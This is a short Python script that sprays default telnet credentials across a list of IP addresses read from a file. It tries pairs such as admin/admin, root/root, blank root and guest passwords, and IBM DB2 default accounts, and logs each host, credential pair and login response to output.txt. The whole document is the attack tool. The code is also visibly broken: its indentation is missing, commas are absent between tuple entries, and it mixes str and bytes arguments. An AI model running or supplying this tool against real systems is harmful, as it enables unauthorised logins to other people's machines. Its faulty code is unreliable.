import telnetlib
infile = open("list.txt", "r")
ips = []
delay_second = 2
account_tup = (("admin", "admin"),
("admin", "password"),
("root", "root"),
("root", "password"),
("root", ""),
("guest", ""),
("db2admin", "db2admin")
("db2inst1", "db2inst1")
("db2as", "db2as")
("db2fenc1", "db2fenc1")
("db2admin", "ibmdb2")
("db2inst1", "ibmdb2")
("db2as", "ibmdb2")
("db2fenc1", "ibmdb2")
)
lines = infile.readlines()
for line in lines:
ips.append(line)
infile.close()
total_count = (lines.__len__()) * (len(account_tup))
now_count = 1
def tryConnectTelnet(host, user, password):
global now_count
with telnetlib.Telnet(host) as con:
con.read_until("Login:", delay_second)
con.read_until(b"login:", delay_second)
print("[Try Action] input account completed")
con.write(user + b"\n")
con.read_until("Password:", delay_second)
print("[Try Action] input password completed")
con.write(password + b"\n")
now_count = now_count + 1
if con.eof:
return "Closed connection"
# con.write(b"ls\n")
# con.write(b"exit\n")
# my_text = con.set_debuglevel(1000)
return con.read_until(b".", delay_second)
def print_result(return_str):
tag = b"[[[Return Result]]]"
if len(return_str) <= 5:
print((tag + b"enmpty").decode())
else:
print(len(return_str))
print((tag + return_str).decode())
for ip in ips:
host = ip.strip("\n")
print("==========[" + ip + "]==========")
for a_value in account_tup:
print(r"====[" + str(now_count) + "/" + str(total_count) + " try to " + a_value[0] + "/" + a_value[1])
return_value = tryConnectTelnet(host, a_value[0].encode(), a_value[1].encode())
print_result(return_value)
with open("output.txt", "a") as outfile:
outfile.write(host + ":" + a_value[0] + ":" + a_value[1] + ":" +return_value.decode() + "\n")